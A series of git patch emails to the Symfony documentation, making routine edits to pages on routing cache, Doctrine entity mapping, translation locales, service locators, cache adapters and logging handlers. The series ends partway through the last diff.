Subject: [PATCH 4273/5766] [FrameworkBundle] Update cache_dir config

Signed-off-by: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
---
 reference/configuration/framework.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 254fe7fcbd1..2d54d54c79a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1511,6 +1511,19 @@ cache_dir
 The directory where routing information will be cached. Can be set to
 ``~`` (``null``) to disable route caching.
 
+.. deprecated:: 7.1
+
+    Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes
+    are now always cached in the ``%kernel.build_dir%`` directory. If you want
+    to disable route caching, set the ``ignore_cache`` option to ``true``.
+
+ignore_cache
+............
+
+**type**: ``boolean`` **default**: ``false``
+
+When this option is set to ``true``, routing information will not be cached.
+
 secrets
 ~~~~~~~
 

From 1d14659839d98e2e9f61b307941bfbf2f7e216ee Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Tue, 9 Jan 2024 15:22:27 +0100
Subject: [PATCH 4274/5766] [Doctrine] Mapping types link

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 6777a31cc2f..8caef5e9799 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -889,7 +889,7 @@ Learn more
 
 .. _`Doctrine`: https://www.doctrine-project.org/
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`Doctrine's Mapping Types documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html
+.. _`Doctrine's Mapping Types documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#reference-mapping-types
 .. _`Query Builder`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/query-builder.html
 .. _`Doctrine Query Language`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/dql-doctrine-query-language.html
 .. _`Reserved SQL keywords documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#quoting-reserved-words

From e135a32dc40b1b42d0b9892cf0a679c26a61df9a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Jan 2024 12:13:58 +0100
Subject: [PATCH 4275/5766] Tweak

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 8caef5e9799..06e01615757 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -198,7 +198,7 @@ The ``make:entity`` command is a tool to make life easier. But this is *your* co
 add/remove fields, add/remove methods or update configuration.
 
 Doctrine supports a wide variety of field types, each with their own options.
-To see a full list, check out `Doctrine's Mapping Types documentation`_.
+Check out the `list of Doctrine mapping types`_ in the Doctrine documentation.
 If you want to use XML instead of annotations, add ``type: xml`` and
 ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your
 ``config/packages/doctrine.yaml`` file.
@@ -889,7 +889,7 @@ Learn more
 
 .. _`Doctrine`: https://www.doctrine-project.org/
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`Doctrine's Mapping Types documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#reference-mapping-types
+.. _`list of Doctrine mapping types`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#reference-mapping-types
 .. _`Query Builder`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/query-builder.html
 .. _`Doctrine Query Language`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/dql-doctrine-query-language.html
 .. _`Reserved SQL keywords documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#quoting-reserved-words

From fc79c882f74526850282e5c9b93f238dc0708e1a Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Mon, 8 Jan 2024 17:35:57 +0100
Subject: [PATCH 4276/5766] doc: Update configuration.rst

---
 configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index ac9a89ea127..57e448e47c0 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1287,14 +1287,14 @@ namespace ``Symfony\Config``::
         $security->firewall('main')
             ->pattern('^/*')
             ->lazy(true)
-            ->anonymous();
+            ->security(false);
 
         $security
             ->roleHierarchy('ROLE_ADMIN', ['ROLE_USER'])
             ->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH'])
             ->accessControl()
                 ->path('^/user')
-                ->role('ROLE_USER');
+                ->roles('ROLE_USER');
 
         $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
     };

From 8972b2c503ffdc74e7b46d88c54bc0bf7f61f48c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 10 Jan 2024 17:25:16 +0100
Subject: [PATCH 4277/5766] Use .. note:: directive

---
 serializer/custom_normalizer.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index f3c099e6466..370695ef2c9 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -148,7 +148,9 @@ Here is an example of how to use the ``getSupportedTypes()`` method::
         }
     }
 
-Note that ``supports*()`` method implementations should not assume that
-``getSupportedTypes()`` has been called before.
+.. note::
+
+    The ``supports*()`` method implementations should not assume that
+    ``getSupportedTypes()`` has been called before.
 
 .. _`API Platform`: https://api-platform.com

From 1cb992fac104e2521be50ef623e7b5888c1a073b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 10 Jan 2024 21:44:21 +0100
Subject: [PATCH 4278/5766] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 17b6ea8ac74..ed323a8ee83 100644
--- a/README.md
+++ b/README.md
@@ -28,7 +28,7 @@ the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributi
 
 > [!IMPORTANT]
 > Use `5.4` branch as the base of your pull requests, unless you are documenting a
-> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.3).
+> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 7.1).
 
 Build Documentation Locally
 ---------------------------

From 8e5a16460e85ff5a54151ebc34a2d0fc4bb289da Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 10 Jan 2024 22:09:18 +0100
Subject: [PATCH 4279/5766] [Form] Add option separator to ChoiceType to use a
 custom separator after preferred choices

---
 reference/constraints/Choice.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 5a9c365be37..1a3e6d356f0 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -389,3 +389,25 @@ Parameter        Description
 ===============  ==============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc
+
+``separator``
+~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``-------------------``
+
+This option allows you to customize separator after preferred choices.
+
+.. versionadded:: 7.1
+
+    The ``separator`` option was introduced in Symfony 7.1.
+
+``separator_html``
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If this option is true, `separator`_ option will be display as HTML instead of text
+
+.. versionadded:: 7.1
+
+    The ``separator_html`` option was introduced in Symfony 7.1.

From dcd25e7ca2275cb511cf7b0d65ee551661bcf5fe Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 3 Jan 2024 08:49:32 +0100
Subject: [PATCH 4280/5766] [Contracts][DependencyInjection] Mention that
 locators are traversable

---
 .../service_subscribers_locators.rst          | 31 +++++++++++++++----
 1 file changed, 25 insertions(+), 6 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 3db82ad3007..897a82f8195 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -110,17 +110,36 @@ in the service subscriber::
     that you have :ref:`autoconfigure <services-autoconfigure>` enabled. You
     can also manually add the ``container.service_subscriber`` tag.
 
-The injected service is an instance of :class:`Symfony\\Component\\DependencyInjection\\ServiceLocator`
-which implements both the PSR-11 ``ContainerInterface`` and :class:`Symfony\\Contracts\\Service\\ServiceProviderInterface`.
-It is also a callable and a countable::
+A service locator is a PSR11 container that contains a set of services,
+but only instantiates them when they are actually used. Let's take a closer
+look at this part::
+
+    // ...
+    $handler = $this->locator->get($commandClass);
+
+    return $handler->handle($command);
+
+In the example above, the ``$handler`` service is only instantiated when the
+``$this->locator->get($commandClass)`` method is called.
+
+You can also type-hint the service locator argument with
+:class:`Symfony\\Contracts\\Service\\ServiceCollectionInterface` instead of
+:class:`Psr\\Container\\ContainerInterface`. By doing so, you'll be able to
+count and iterate over the services of the locator::
 
     // ...
     $numberOfHandlers = count($this->locator);
     $nameOfHandlers = array_keys($this->locator->getProvidedServices());
-    // ...
-    $handler = ($this->locator)($commandClass);
 
-    return $handler->handle($command);
+    // you can iterate through all services of the locator
+    foreach ($this->locator as $serviceId => $service) {
+        // do something with the service, the service id or both
+    }
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\\Contracts\\Service\\ServiceCollectionInterface` was
+    introduced in Symfony 7.1.
 
 Including Services
 ------------------

From a7f5f3062f976017cd516aeea68bddd3f42ce664 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Jan 2024 13:34:37 +0100
Subject: [PATCH 4281/5766] Tweak

---
 reference/constraints/Choice.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 1a3e6d356f0..8bafaaede7b 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -395,7 +395,9 @@ Parameter        Description
 
 **type**: ``string`` **default**: ``-------------------``
 
-This option allows you to customize separator after preferred choices.
+This option allows you to customize the visual separator shown after the preferred
+choices. You can use HTML elements like ``<hr>`` to display a more modern separator,
+but you'll also need to set the `separator_html`_ option to ``true``.
 
 .. versionadded:: 7.1
 
@@ -406,7 +408,9 @@ This option allows you to customize separator after preferred choices.
 
 **type**: ``boolean`` **default**: ``false``
 
-If this option is true, `separator`_ option will be display as HTML instead of text
+If this option is true, the `separator`_ option will be displayed as HTML instead
+of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern
+visual separator.
 
 .. versionadded:: 7.1
 

From 693b19467e6d50d1e95ba2d1a330487f493ecb3d Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Wed, 10 Jan 2024 16:53:07 +0100
Subject: [PATCH 4282/5766] [Doctrine] Profiler bar only visible with at least 
 tags `<body></body>`

---
 doctrine.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index 06e01615757..3e56c58dc53 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -601,9 +601,13 @@ the :ref:`doctrine-queries` section.
     see the web debug toolbar, install the ``profiler`` :ref:`Symfony pack <symfony-packs>`
     by running this command: ``composer require --dev symfony/profiler-pack``.
 
+    For more information on ``profiler``, see :doc:`/profiler`.
+
 Automatically Fetching Objects (ParamConverter)
 -----------------------------------------------
 
+.. _doctrine-entity-value-resolver:
+
 In many cases, you can use the `SensioFrameworkExtraBundle`_ to do the query
 for you automatically! First, install the bundle in case you don't have it:
 

From bfcaf83e266856314dc814e7eebb0fad941e1327 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Jan 2024 14:54:31 +0100
Subject: [PATCH 4283/5766] Tweak

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 3e56c58dc53..03e4428db0b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -601,7 +601,7 @@ the :ref:`doctrine-queries` section.
     see the web debug toolbar, install the ``profiler`` :ref:`Symfony pack <symfony-packs>`
     by running this command: ``composer require --dev symfony/profiler-pack``.
 
-    For more information on ``profiler``, see :doc:`/profiler`.
+    For more information, read the :doc:`Symfony profiler documentation </profiler>`.
 
 Automatically Fetching Objects (ParamConverter)
 -----------------------------------------------

From 12965fa552f443e445db225f5759ab1848da6a3a Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Wed, 10 Jan 2024 12:53:53 +0100
Subject: [PATCH 4284/5766] [Doctrine] Update doctrine.rst

As the type hinting from setter is available, this example will not work.

Even without `declare(strict_types=1);` string which could be convert to integer will work but with it, impossible to run this example, as we will have the error "int" expected.
---
 doctrine.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e22453db8a9..70f538e520b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -448,12 +448,6 @@ Consider the following controller code::
         public function createProduct(ValidatorInterface $validator): Response
         {
             $product = new Product();
-            // This will trigger an error: the column isn't nullable in the database
-            $product->setName(null);
-            // This will trigger a type mismatch error: an integer is expected
-            $product->setPrice('1999');
-
-            // ...
 
             $errors = $validator->validate($product);
             if (count($errors) > 0) {

From ccaf3a124d879755ad72b39bbc7008849972e418 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 15:15:48 +0100
Subject: [PATCH 4285/5766] Minor tweak

---
 doctrine.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index 70f538e520b..81fcac0f386 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -449,6 +449,8 @@ Consider the following controller code::
         {
             $product = new Product();
 
+            // ... update the product data somehow (e.g. with a form) ...
+
             $errors = $validator->validate($product);
             if (count($errors) > 0) {
                 return new Response((string) $errors, 400);

From fd7bcb8a1c94e2c8b3bd2f9cd411121bc498e49c Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Wed, 10 Jan 2024 17:59:20 +0100
Subject: [PATCH 4286/5766] [Doctrine] The use of
 `doctrine.orm.controller_resolver.auto_mapping option`

---
 doctrine.rst | 62 +++++++++++++++++++++++++++-------------------------
 1 file changed, 32 insertions(+), 30 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 81fcac0f386..30f20f17d8d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -640,34 +640,6 @@ automatically! You can simplify the controller to::
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
 by the ``id`` column. If it's not found, a 404 page is generated.
 
-This behavior is enabled by default on all your controllers. You can
-disable it by setting the ``doctrine.orm.controller_resolver.auto_mapping``
-config option to ``false``.
-
-When disabled, you can enable it individually on the desired controllers by
-using the ``MapEntity`` attribute::
-
-    // src/Controller/ProductController.php
-    namespace App\Controller;
-
-    use App\Entity\Product;
-    use Symfony\Bridge\Doctrine\Attribute\MapEntity;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-    // ...
-
-    class ProductController extends AbstractController
-    {
-        #[Route('/product/{id}')]
-        public function show(
-            #[MapEntity]
-            Product $product
-        ): Response {
-            // use the Product!
-            // ...
-        }
-    }
-
 .. tip::
 
     When enabled globally, it's possible to disable the behavior on a specific
@@ -713,8 +685,38 @@ Automatic fetching works in these situations:
   *all* of the wildcards in your route that are actually properties
   on your entity (non-properties are ignored).
 
-You can control this behavior by actually *adding* the ``MapEntity``
-attribute and using the `MapEntity options`_.
+This behavior is enabled by default on all your controllers.
+
+You can only allow the use of the primary key ``id`` as a lookup placeholder
+for the routes parameters by setting ``doctrine.orm.controller_resolver.auto_mapping``
+config option to ``false``. The others entity attributes than ``id`` can't be used
+to autowire the entity.
+
+When disabled, you can enable the entity autowiring individually on the desired controllers
+by using the ``MapEntity`` attribute. You can control ``EntityValueResolver`` behavior
+with it by using the `MapEntity options`_ ::
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use Symfony\Bridge\Doctrine\Attribute\MapEntity;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+    // ...
+
+    class ProductController extends AbstractController
+    {
+        #[Route('/product/{slug}')]
+        public function show(
+            #[MapEntity(mapping: ['slug' => 'slug'])]
+            Product $product
+        ): Response {
+            // use the Product!
+            // ...
+        }
+    }
+
 
 Fetch via an Expression
 ~~~~~~~~~~~~~~~~~~~~~~~

From e3d16d72c1e95970b11aec708ef45477620493f3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 15:49:07 +0100
Subject: [PATCH 4287/5766] Reword

---
 doctrine.rst | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 30f20f17d8d..10291e9e7cf 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -685,16 +685,14 @@ Automatic fetching works in these situations:
   *all* of the wildcards in your route that are actually properties
   on your entity (non-properties are ignored).
 
-This behavior is enabled by default on all your controllers.
+This behavior is enabled by default on all controllers. If you prefer, you can
+restrict this feature to only work on route wildcards called ``id`` to look for
+entities by primary key. To do so, set the option
+``doctrine.orm.controller_resolver.auto_mapping`` to ``false``.
 
-You can only allow the use of the primary key ``id`` as a lookup placeholder
-for the routes parameters by setting ``doctrine.orm.controller_resolver.auto_mapping``
-config option to ``false``. The others entity attributes than ``id`` can't be used
-to autowire the entity.
-
-When disabled, you can enable the entity autowiring individually on the desired controllers
-by using the ``MapEntity`` attribute. You can control ``EntityValueResolver`` behavior
-with it by using the `MapEntity options`_ ::
+When ``auto_mapping`` is disabled, you can configure the mapping explicitly for
+any controller argument with the ``MapEntity`` attribute. You can even control
+the ``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
@@ -717,12 +715,11 @@ with it by using the `MapEntity options`_ ::
         }
     }
 
-
 Fetch via an Expression
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-If automatic fetching doesn't work, you can write an expression using the
-:doc:`ExpressionLanguage component </components/expression_language>`::
+If automatic fetching doesn't work for your use case, you can write an expression
+using the :doc:`ExpressionLanguage component </components/expression_language>`::
 
     #[Route('/product/{product_id}')]
     public function show(

From 67f5b49ed4bbef569edc3d8ba8ff187030e91087 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 11 Jan 2024 10:03:14 +0100
Subject: [PATCH 4288/5766] [Translation] Mention `enabled_locales`

---
 translation.rst             | 12 +++++++++---
 validation/translations.rst |  5 ++++-
 2 files changed, 13 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 33549a66f56..bc58246c914 100644
--- a/translation.rst
+++ b/translation.rst
@@ -104,6 +104,11 @@ are located:
             ;
         };
 
+Additionally, you can enable only some locales instead of all of them. You can
+do this by using the
+:ref:`dedicated option <reference-translator-enabled-locales>` in your
+configuration.
+
 .. _translation-basic:
 
 Basic Translation
@@ -256,9 +261,10 @@ using the ``trans()`` method:
 
 #. A catalog of translated messages is loaded from translation resources
    defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
-   :ref:`fallback locale <translation-fallback>` are also loaded and added to
-   the catalog if they don't already exist. The end result is a large
-   "dictionary" of translations.
+   :ref:`fallback locale <translation-fallback>` and the
+   :ref:`enabled locales <reference-translator-enabled-locales>` are also
+   loaded and added to the catalog if they don't already exist. The end result
+   is a large "dictionary" of translations.
 
 #. If the message is located in the catalog, the translation is returned. If
    not, the translator returns the original message.
diff --git a/validation/translations.rst b/validation/translations.rst
index 5b37fb30aca..e43b2f2da7a 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -121,7 +121,10 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
         ];
 
 You may need to clear your cache (even in the dev environment) after creating
-this file for the first time.
+this file for the first time. You may also need to enable the locale in your
+application configuration. This can be done by setting the
+:ref:`enabled_locales <reference-translator-enabled-locales>` option in
+your configuration files.
 
 You can also use :class:`Symfony\\Component\\Translation\\TranslatableMessage` to build your violation message::
 

From 8a75c6d913703e4bb5407132d5da13f68f7762e6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 16:36:54 +0100
Subject: [PATCH 4289/5766] Tweaks and rewords

---
 translation.rst             |  8 ++++----
 validation/translations.rst | 13 +++++++++----
 2 files changed, 13 insertions(+), 8 deletions(-)

diff --git a/translation.rst b/translation.rst
index bc58246c914..c84038202be 100644
--- a/translation.rst
+++ b/translation.rst
@@ -104,10 +104,10 @@ are located:
             ;
         };
 
-Additionally, you can enable only some locales instead of all of them. You can
-do this by using the
-:ref:`dedicated option <reference-translator-enabled-locales>` in your
-configuration.
+.. tip::
+
+    You can also define the :ref:`enabled_locales option <reference-translator-enabled-locales>`
+    to restrict the locales that your application is available in.
 
 .. _translation-basic:
 
diff --git a/validation/translations.rst b/validation/translations.rst
index e43b2f2da7a..9a4ece17736 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -121,10 +121,15 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
         ];
 
 You may need to clear your cache (even in the dev environment) after creating
-this file for the first time. You may also need to enable the locale in your
-application configuration. This can be done by setting the
-:ref:`enabled_locales <reference-translator-enabled-locales>` option in
-your configuration files.
+this file for the first time.
+
+.. tip::
+
+    Symfony will also create translation files for the built-in validation messages.
+    You can optionally set the :ref:`enabled_locales <reference-translator-enabled-locales>`
+    option to restrict the available locales in your application. This will improve
+    performance a bit because Symfony will only generate the translation files
+    for those locales instead of all of them.
 
 You can also use :class:`Symfony\\Component\\Translation\\TranslatableMessage` to build your violation message::
 

From 4a814a65f9fd399662d341b66ea9178ae9450dad Mon Sep 17 00:00:00 2001
From: sarah-eit <s.fleret@itefficience.com>
Date: Wed, 3 Jan 2024 10:04:52 +0100
Subject: [PATCH 4290/5766] [Console] [components] add information about the
 addRows method - table.rst

---
 components/console/helpers/table.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index e83ed352a3e..8d160689de7 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -432,3 +432,24 @@ This will display the following table in the terminal:
     | Love    |
     | Symfony |
     +---------+
+
+.. tip::
+
+    You can create multiple lines using the :method:`Symfony\\Component\\Console\\Helper\\Table::addRows` method::
+
+        // ...
+        $table->addRows([
+            ['Hello', 'World'],
+            ['Love', 'Symfony'],
+        ]);
+        $table->render();
+        // ...
+
+    This will display:
+
+    .. code-block:: terminal
+
+        +-------+---------+
+        | Hello | World   |
+        | Love  | Symfony |
+        +-------+---------+

From ee5e28f3c5a67aeb72c73e115d0bb95edb97d6bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 16:56:22 +0100
Subject: [PATCH 4291/5766] Tweak

---
 service_container/service_subscribers_locators.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 897a82f8195..31a9fa55f3b 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -110,16 +110,15 @@ in the service subscriber::
     that you have :ref:`autoconfigure <services-autoconfigure>` enabled. You
     can also manually add the ``container.service_subscriber`` tag.
 
-A service locator is a PSR11 container that contains a set of services,
-but only instantiates them when they are actually used. Let's take a closer
-look at this part::
+A service locator is a `PSR-11 container`_ that contains a set of services,
+but only instantiates them when they are actually used. Consider the following code::
 
     // ...
     $handler = $this->locator->get($commandClass);
 
     return $handler->handle($command);
 
-In the example above, the ``$handler`` service is only instantiated when the
+In this example, the ``$handler`` service is only instantiated when the
 ``$this->locator->get($commandClass)`` method is called.
 
 You can also type-hint the service locator argument with
@@ -1066,3 +1065,4 @@ Another alternative is to mock it using ``PHPUnit``::
     // ...
 
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern
+.. _`PSR-11 container`: https://www.php-fig.org/psr/psr-11/

From 39d4c2cdae839af8e1b67563c884ca0670e904a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 17:37:05 +0100
Subject: [PATCH 4292/5766] Tweak

---
 security/login_link.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index df4ac801dcd..6cd8ce682d1 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -28,8 +28,8 @@ this is not yet the case.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The login link authenticator is configured using the ``login_link`` option
-under the firewall. You must configure a ``check_route`` with a route name
-and ``signature_properties`` when enabling this authenticator:
+under the firewall and requires defining two options called ``check_route``
+and ``signature_properties`` (explained below):
 
 .. configuration-block::
 
@@ -82,7 +82,7 @@ contain at least one property of your ``User`` object that uniquely
 identifies this user (e.g. the user ID). Read more about this setting
 :ref:`further down below <security-login-link-signature>`.
 
-The ``check_route`` must be an existing route and it will be used to
+The ``check_route`` must be the name of an existing route and it will be used to
 generate the login link that will authenticate the user. You don't need a
 controller (or it can be empty) because the login link authenticator will
 intercept requests to this route:

From 1bd553588da3450112c6e51f93baa29cf9cb0f1f Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Fri, 12 Jan 2024 19:30:48 +0100
Subject: [PATCH 4293/5766] [Cache] Document using DSN with PDOAdapter

---
 cache.rst | 29 ++++++++---------------------
 1 file changed, 8 insertions(+), 21 deletions(-)

diff --git a/cache.rst b/cache.rst
index 98ec11123fc..d1da8c87560 100644
--- a/cache.rst
+++ b/cache.rst
@@ -133,12 +133,7 @@ Some of these adapters could be configured via shortcuts.
                 default_psr6_provider: 'app.my_psr6_service'
                 default_redis_provider: 'redis://localhost'
                 default_memcached_provider: 'memcached://localhost'
-                default_pdo_provider: 'app.my_pdo_service'
-
-        services:
-            app.my_pdo_service:
-                class: \PDO
-                arguments: ['pgsql:host=localhost']
+                default_pdo_provider: 'pgsql:host=localhost'
 
     .. code-block:: xml
 
@@ -159,24 +154,17 @@ Some of these adapters could be configured via shortcuts.
                     default-psr6-provider="app.my_psr6_service"
                     default-redis-provider="redis://localhost"
                     default-memcached-provider="memcached://localhost"
-                    default-pdo-provider="app.my_pdo_service"
+                    default-pdo-provider="pgsql:host=localhost"
                 />
             </framework:config>
-
-            <services>
-                <service id="app.my_pdo_service" class="\PDO">
-                    <argument>pgsql:host=localhost</argument>
-                </service>
-            </services>
         </container>
 
     .. code-block:: php
 
         // config/packages/cache.php
-        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework, ContainerConfigurator $container): void {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
@@ -185,15 +173,14 @@ Some of these adapters could be configured via shortcuts.
                 ->defaultPsr6Provider('app.my_psr6_service')
                 ->defaultRedisProvider('redis://localhost')
                 ->defaultMemcachedProvider('memcached://localhost')
-                ->defaultPdoProvider('app.my_pdo_service')
-            ;
-
-            $container->services()
-                ->set('app.my_pdo_service', \PDO::class)
-                ->args(['pgsql:host=localhost'])
+                ->defaultPdoProvider('pgsql:host=localhost')
             ;
         };
 
+.. versionadded:: 7.1
+
+    Using a DSN as the provider for the PDO adapter was introduced in Symfony 7.1.
+
 .. _cache-create-pools:
 
 Creating Custom (Namespaced) Pools

From 07a9c8b3a2ce4bcf8dd3fadf062a9a683af669bf Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 14 Jan 2024 16:35:45 +0100
Subject: [PATCH 4294/5766] Update ElasticsearchLogstashHandler documentation

---
 logging/handlers.rst | 78 +++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 69 insertions(+), 9 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 8821113405e..37ad7ca0269 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -8,14 +8,6 @@ This handler deals directly with the HTTP interface of Elasticsearch. This means
 it will slow down your application if Elasticsearch takes time to answer. Even
 if all HTTP calls are done asynchronously.
 
-In a development environment, it's fine to keep the default configuration: for
-each log, an HTTP request will be made to push the log to Elasticsearch.
-
-In a production environment, it's highly recommended to wrap this handler in a
-handler with buffering capabilities (like the ``FingersCrossedHandler`` or
-``BufferHandler``) in order to call Elasticsearch only once with a bulk push. For
-even better performance and fault tolerance, a proper `ELK stack`_ is recommended.
-
 To use it, declare it as a service:
 
 .. configuration-block::
@@ -87,7 +79,10 @@ To use it, declare it as a service:
 
     The ``$elasticsearchVersion`` argument was introduced in Symfony 5.4.
 
-Then reference it in the Monolog configuration:
